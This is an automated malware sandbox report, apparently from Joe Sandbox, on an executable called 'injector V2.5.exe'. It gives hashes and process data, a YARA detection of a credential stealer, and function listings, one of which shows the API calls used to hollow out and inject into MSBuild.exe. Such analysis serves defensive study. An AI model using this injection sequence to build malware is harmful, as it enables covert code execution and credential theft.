Commandline:	"C:\Users\user\Desktop\injector V2.5.exe"
Imagebase:	0xb20000
File size:	587'904 bytes
MD5 hash:	96F89E1CB2A8789ACEE8720D872B4CC5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:52:55
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:52:58
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\injector V2.5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\injector V2.5.exe"
Imagebase:	0xb20000
File size:	587'904 bytes
MD5 hash:	96F89E1CB2A8789ACEE8720D872B4CC5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1799214621.00000000033D3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1849649478.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0.7%
Signature Coverage:	4.2%
Total number of Nodes:	1164
Total number of Limit Nodes:	20

Executed Functions

Function 00B5D18D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00B5D0FF,00B5D0EF), ref: 00B5D323
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00B5D336
Wow64GetThreadContext.KERNEL32(0000008C,00000000), ref: 00B5D354
ReadProcessMemory.KERNELBASE(000000F8,?,00B5D143,00000004,00000000), ref: 00B5D378
VirtualAllocEx.KERNELBASE(000000F8,?,?,00003000,00000040), ref: 00B5D3A3
WriteProcessMemory.KERNELBASE(000000F8,00000000,?,?,00000000,?), ref: 00B5D3FB
WriteProcessMemory.KERNELBASE(000000F8,00400000,?,?,00000000,?,00000028), ref: 00B5D446
WriteProcessMemory.KERNELBASE(000000F8,?,?,00000004,00000000), ref: 00B5D484
Wow64SetThreadContext.KERNEL32(0000008C,02DE0000), ref: 00B5D4C0
ResumeThread.KERNELBASE(0000008C), ref: 00B5D4CF

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00B5D322
ReadProcessMemory, xrefs: 00B5D278
CreateProcessW, xrefs: 00B5D23F
GetP, xrefs: 00B5D20D
ResumeThread, xrefs: 00B5D2C7
aryA, xrefs: 00B5D1D1
ress, xrefs: 00B5D215
VirtualAllocEx, xrefs: 00B5D28B
Load, xrefs: 00B5D1C9
VirtualAlloc, xrefs: 00B5D252
SetThreadContext, xrefs: 00B5D2B1
TerminateProcess, xrefs: 00B5D3B2
WriteProcessMemory, xrefs: 00B5D29E
GetThreadContext, xrefs: 00B5D265

Memory Dump Source

Source File: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: e150c4a12f20bb977068c66e3957c89d6fc74e7534b9f4564b61261a02f19c73
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: AFB1F67660064AAFDB60CF68CC80BDA73A5FF88714F158564EA08AB341D770FA55CB94

Function 00B2D475 Relevance: 1.5, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XvIL, xrefs: 00B2CDE8

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: XvIL
API String ID: 0-558896452
Opcode ID: 77572fdbc8eccc2ef541cafc59767fa55151aa90f9e5607e640e1bb7846b38a9
Instruction ID: ff3b19026de63191eaf8984a4d6bfdfe40020b1f7e5154132f911ad774da07ff
Opcode Fuzzy Hash: 77572fdbc8eccc2ef541cafc59767fa55151aa90f9e5607e640e1bb7846b38a9
Instruction Fuzzy Hash: DB61CB363112218B9E2C9A28B8E563C7BD1DF58361B3542FEF41F57AF4CA25AC4187C2

Function 00B50E88 Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00B50F0D
__alloca_probe_16.LIBCMT ref: 00B50FD6
__freea.LIBCMT ref: 00B5103D

Part of subcall function 00B4EB9B: RtlAllocateHeap.NTDLL(00000000,00B276E8,?,?,00B276E8,01E84800), ref: 00B4EBCD

__freea.LIBCMT ref: 00B51050
__freea.LIBCMT ref: 00B5105D

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: d98721fd5ca2e3b851e00c9b5dac70bd5c13ffed10352ae3b2d83271b9be267c
Instruction ID: 1f6971281628d21f245d5bcfc780716d454275995275f21cbc0fd42626e7dee7
Opcode Fuzzy Hash: d98721fd5ca2e3b851e00c9b5dac70bd5c13ffed10352ae3b2d83271b9be267c
Instruction Fuzzy Hash: 3651E672600256AFDB206F68CC81FBB7BE9EF44712F1908E9FD04D6181EB74DD889660

Function 00B4D4CA Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B4D6CF: GetOEMCP.KERNEL32(00000000,?,?,788496A7,?), ref: 00B4D6FA

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00B4D8DA,?,00000000,?,788496A7,?), ref: 00B4D52B
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00B4D8DA,?,00000000,?,788496A7,?), ref: 00B4D567

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 4bc2093dba82f7c467ceb8236277272aa796ec41020f63852f32eae185aa96ba
Instruction ID: f58ce3a83534f1be53be4940bb6bf28c01797575e83e4f8f98a6c27177aa8404
Opcode Fuzzy Hash: 4bc2093dba82f7c467ceb8236277272aa796ec41020f63852f32eae185aa96ba
Instruction Fuzzy Hash: 24513570A003459EDB21CF75C880BABBBF5EF65304F1945EED08A8B251EB749B46EB40

Function 00B4D2B2 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,00B4D1A1,00B5CB48,0000000C), ref: 00B4D2FE
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,00B4D1A1,00B5CB48,0000000C), ref: 00B4D310

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 348975e5278339b0afb802a4f0d703527534fb4c52e9012de2bab40c34984b12
Instruction ID: c2fe17e8a1e9ebccf0b8380b5a075c61446fb4b49722ae389d363cfa1e729848
Opcode Fuzzy Hash: 348975e5278339b0afb802a4f0d703527534fb4c52e9012de2bab40c34984b12
Instruction Fuzzy Hash: 1611BE715047514ACB348E3E8CD8622BAD5EB56331B380BDED0B6875F1C770DA8AF646

Function 00B2A0B0 Relevance: 3.1, APIs: 2, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 00B2A146
ExitProcess.KERNEL32 ref: 00B2A16C

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 3baeb97debc81cc788f9da60d455fd2c511d23deed4f9ef9d96aad1951c7d043
Instruction ID: a015e8ef9b35ebceecddd01bffcb65f3caf2a5d29ab992890bdd4d97bc4b901a
Opcode Fuzzy Hash: 3baeb97debc81cc788f9da60d455fd2c511d23deed4f9ef9d96aad1951c7d043
Instruction Fuzzy Hash: 8E110D35B102146BE7544A388970B6F7BEBDBCE721F1540E9E949E73C4DE314C468791

Function 00B4C7CC Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00B50F78,?,?,-00000008,?,00000000,00000000,00000000,00000000,00000000), ref: 00B4C800
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,-00000008,-00000008,?,00B50F78,?,?,-00000008,?,00000000), ref: 00B4C81E

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 1424453df14d096d47e3a42b3bd708086e3f1a05e4272a32ca7e2b8e85086147
Instruction ID: 51f8adf1e4b87242fc4b9f0fe13096a84cb104d6cd0ec8de5078fb9a514c46ee
Opcode Fuzzy Hash: 1424453df14d096d47e3a42b3bd708086e3f1a05e4272a32ca7e2b8e85086147
Instruction Fuzzy Hash: 6AF07A3200121ABBCF125F90DC09EEE7FA6EF487A0F094060FA1826020DB36C931BB91

Function 00B4DC4B Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00B4BC8C,00B2782F), ref: 00B4DC61
GetLastError.KERNEL32(?,?,00B4BC8C,00B2782F), ref: 00B4DC6C

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 968a351e61565c2030ad16061e0fb54d2c090737216ae0a41775b5e79da6a138
Instruction ID: 189e6bed1e21980e7c59eb530d51daf056726a73d63c4995567e4e18d6aecb51
Opcode Fuzzy Hash: 968a351e61565c2030ad16061e0fb54d2c090737216ae0a41775b5e79da6a138
Instruction Fuzzy Hash: 26E04632200704ABCF122FA4FD09B997BA9EB40752F1040E0F61897161CB759A40D684

Function 00B4DA59 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(00000083,?,00000005,00B4D8DA,?), ref: 00B4DA8B

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 1d70e99ef17e7b6acbd3e48334776772f5fe46d4a16b16910d1484e4f81c882a
Instruction ID: 10991c991ed4056e34409d23dab0f8d1acfd3436559c108a9ae922d237ec4204
Opcode Fuzzy Hash: 1d70e99ef17e7b6acbd3e48334776772f5fe46d4a16b16910d1484e4f81c882a
Instruction Fuzzy Hash: 185128B1908159AFDB118F28CDC4BE9BBE9EB16304F2401E9E599C7142D3359F85EB60

Function 00B2B0E4 Relevance: 1.6, APIs: 1, Instructions: 55
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00B2B0FC

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: efb4cf24b17c03612b24d98395a0995f02a40541dbcfed7021397d12f966a26e
Instruction ID: 7185865113b351fa2fe8be82bdd5e34ac5f6ae5b4e13f8fe9c31b6e934f39f01
Opcode Fuzzy Hash: efb4cf24b17c03612b24d98395a0995f02a40541dbcfed7021397d12f966a26e
Instruction Fuzzy Hash: 7311E5316083629FCE2C9A2878A553D67D3BBE6311F3845DEE40F877A4D9628D859603

Function 00B4EB9B Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00B276E8,?,?,00B276E8,01E84800), ref: 00B4EBCD

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6364d5e1bc504ea384b2755560211144781a4d2e1a04fc0f90a94604b212e11f
Instruction ID: 4ae4776048349417da8c99ab35688fe90d84389156f40f1b0892cb13b7374e71
Opcode Fuzzy Hash: 6364d5e1bc504ea384b2755560211144781a4d2e1a04fc0f90a94604b212e11f
Instruction Fuzzy Hash: C3E0ED31108226AADB2127659C85F6A7AC8FB427B0F1405E0FC23934C0CF60DF00B2E2

Non-executed Functions

Function 00B36330 Relevance: 77.7, Strings: 61, Instructions: 1445COMMON

Download Yara Rule

Strings

zL%, xrefs: 00B37262
{L%, xrefs: 00B36C0C
zL%, xrefs: 00B37396
zL%, xrefs: 00B36BC8
zL%, xrefs: 00B378EE
zL%, xrefs: 00B364CF
V?D, xrefs: 00B373A6
KJn?, xrefs: 00B3798F
zL%, xrefs: 00B373CC
KJn?, xrefs: 00B37184
zL%, xrefs: 00B37153
h^', xrefs: 00B3703B
i^', xrefs: 00B37104
zL%, xrefs: 00B36AFE
i^', xrefs: 00B37112
{L%, xrefs: 00B36CEC
zL%, xrefs: 00B37BA6
zL%, xrefs: 00B36A02
zL%, xrefs: 00B376B2
zL%, xrefs: 00B36390
zL%, xrefs: 00B37B51
zL%, xrefs: 00B36FB8
LH%Y, xrefs: 00B37003
i^', xrefs: 00B37624
KJn?, xrefs: 00B3799D
LH%Y, xrefs: 00B3769D
V?D, xrefs: 00B371A5
zL%, xrefs: 00B37360
{L%, xrefs: 00B36CFA
zL%, xrefs: 00B36BB3
V?D, xrefs: 00B3719A
zL%, xrefs: 00B3636E
zL%, xrefs: 00B37B00
zL%, xrefs: 00B36638
zL%, xrefs: 00B365F1
zL%, xrefs: 00B37024
zL%, xrefs: 00B36B13
zL%, xrefs: 00B3699E
{L%, xrefs: 00B3727D
zL%, xrefs: 00B375E0
zL%, xrefs: 00B36E9F
LH%Y, xrefs: 00B372CF
V?D, xrefs: 00B37163
zL%, xrefs: 00B3781E
zL%, xrefs: 00B36B9E
zL%, xrefs: 00B36A17
LH%Y, xrefs: 00B372C1
KH%Y, xrefs: 00B36FED
zL%, xrefs: 00B37947
zL%, xrefs: 00B3777C
zL%, xrefs: 00B3795C
zL%, xrefs: 00B37A29
i^', xrefs: 00B37334
zL%, xrefs: 00B368C6
zL%, xrefs: 00B37809
zL%, xrefs: 00B36890
V?D, xrefs: 00B37AFB
zL%, xrefs: 00B368FC
zL%, xrefs: 00B36F6C
zL%, xrefs: 00B36AE9
KJn?, xrefs: 00B36D38

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: KH%Y$KJn?$KJn?$KJn?$KJn?$LH%Y$LH%Y$LH%Y$LH%Y$h^'$i^'$i^'$i^'$i^'$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%$zL%${L%${L%${L%${L%$V?D$V?D$V?D$V?D$V?D
API String ID: 0-3543999248
Opcode ID: d11b94d8e1e7a0a0393fd39350534f6a4378a8fa3d8254e457c94f5e795b6003
Instruction ID: 8bdea4494a394f3e1a0a3e3fd6f17a2f7ca2b29a6aa1a485e4262d229aeab537
Opcode Fuzzy Hash: d11b94d8e1e7a0a0393fd39350534f6a4378a8fa3d8254e457c94f5e795b6003
Instruction Fuzzy Hash: 83B2B17A2597006F4B38CA2895C8669B3D29FD8370B35DB86D426CF3F8DB359C468642

Function 00B39B80 Relevance: 45.8, Strings: 35, Instructions: 2072COMMON

Download Yara Rule

Strings

W8|, xrefs: 00B3B39E
sL, xrefs: 00B3BB6E
Hyol, xrefs: 00B3B519
2h`?, xrefs: 00B3BE51
Yrf1, xrefs: 00B3A300
X8|, xrefs: 00B3B845
Dt, xrefs: 00B3A48E
[u, xrefs: 00B3AC7F
Yrf1, xrefs: 00B3B9AE
fM@#, xrefs: 00B3BE26
Dt, xrefs: 00B3ACA0
2h`?, xrefs: 00B3ABF8
zN_, xrefs: 00B3BBEC
J+z7, xrefs: 00B3B1A9
zN_, xrefs: 00B3ABF3
[u, xrefs: 00B3A028
fM@#, xrefs: 00B3BA9F
(, xrefs: 00B39CA0
sL, xrefs: 00B3B6D4
(, xrefs: 00B3A460
Hyol, xrefs: 00B3B523
No, xrefs: 00B3B157
Hyol, xrefs: 00B3B711
No, xrefs: 00B39F9E
fM@#, xrefs: 00B3B820
(, xrefs: 00B39C70
X8|, xrefs: 00B3BE6E
Yrf1, xrefs: 00B3B2C2
[u, xrefs: 00B39D8B
2h`?, xrefs: 00B3ABEE
Hyol, xrefs: 00B3AF2E
Dt, xrefs: 00B3B6E0
2h`?, xrefs: 00B3B418
zN_, xrefs: 00B3B69A
J+z7, xrefs: 00B3ADF7

Memory Dump Source

Source File: 00000000.00000002.1695394711.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000000.00000002.1695320078.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695441209.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695460196.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695477440.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695495049.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695512577.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID: ($($($sL$sL$2h`?$2h`?$2h`?$2h`?$Dt$Dt$Dt$Hyol$Hyol$Hyol$Hyol$J+z7$J+z7$W8|$X8|$X8|$Yrf1$Yrf1$Yrf1$fM@#$fM@#$fM@#$zN_$zN_$zN_$No$No$[u$[u$[u
API String ID: 0-1459843020
Opcode ID: 92a2c0ae541ae7a76d76d4ed9fd146e66925cdedd2c3dc7040bb913e0b9abe22
Instruction ID: ec0496337afd8055a36ec6650dbb6f14a9081dcd28c16d60811853cc85b636ee
Opcode Fuzzy Hash: 92a2c0ae541ae7a76d76d4ed9fd146e66925cdedd2c3dc7040bb913e0b9abe22
Instruction Fuzzy Hash: E4E2C33B7097118B4A288A2CE9D466DB2D396D4325F7B86D3D9138B3F8DB748C858743

Function 00B41D30 Relevance: 32.0, Strings: 24, Instructions: 1978COMMON

Download Yara Rule

Strings

,I"w, xrefs: 00B42E28
"]j, xrefs: 00B439DE
!]j, xrefs: 00B41E10
&qq!, xrefs: 00B4374A
,I"w, xrefs: 00B43777
/YS, xrefs: 00B41F4C
"]j, xrefs: 00B42967
"]j, xrefs: 00B42483
,I"w, xrefs: 00B43785
&, xrefs: 00B4398C
fVp, xrefs: 00B41E00
"]j, xrefs: 00B439E8
&, xrefs: 00B432C0
/YS, xrefs: 00B4369B
&qq!, xrefs: 00B4325B
/YS, xrefs: 00B43689
,I"w, xrefs: 00B43B5F
fVp, xrefs: 00B429E0
&qq!, xrefs: 00B4373C
&qq!, xrefs: 00B421A2
>g[, xrefs: 00B41F10
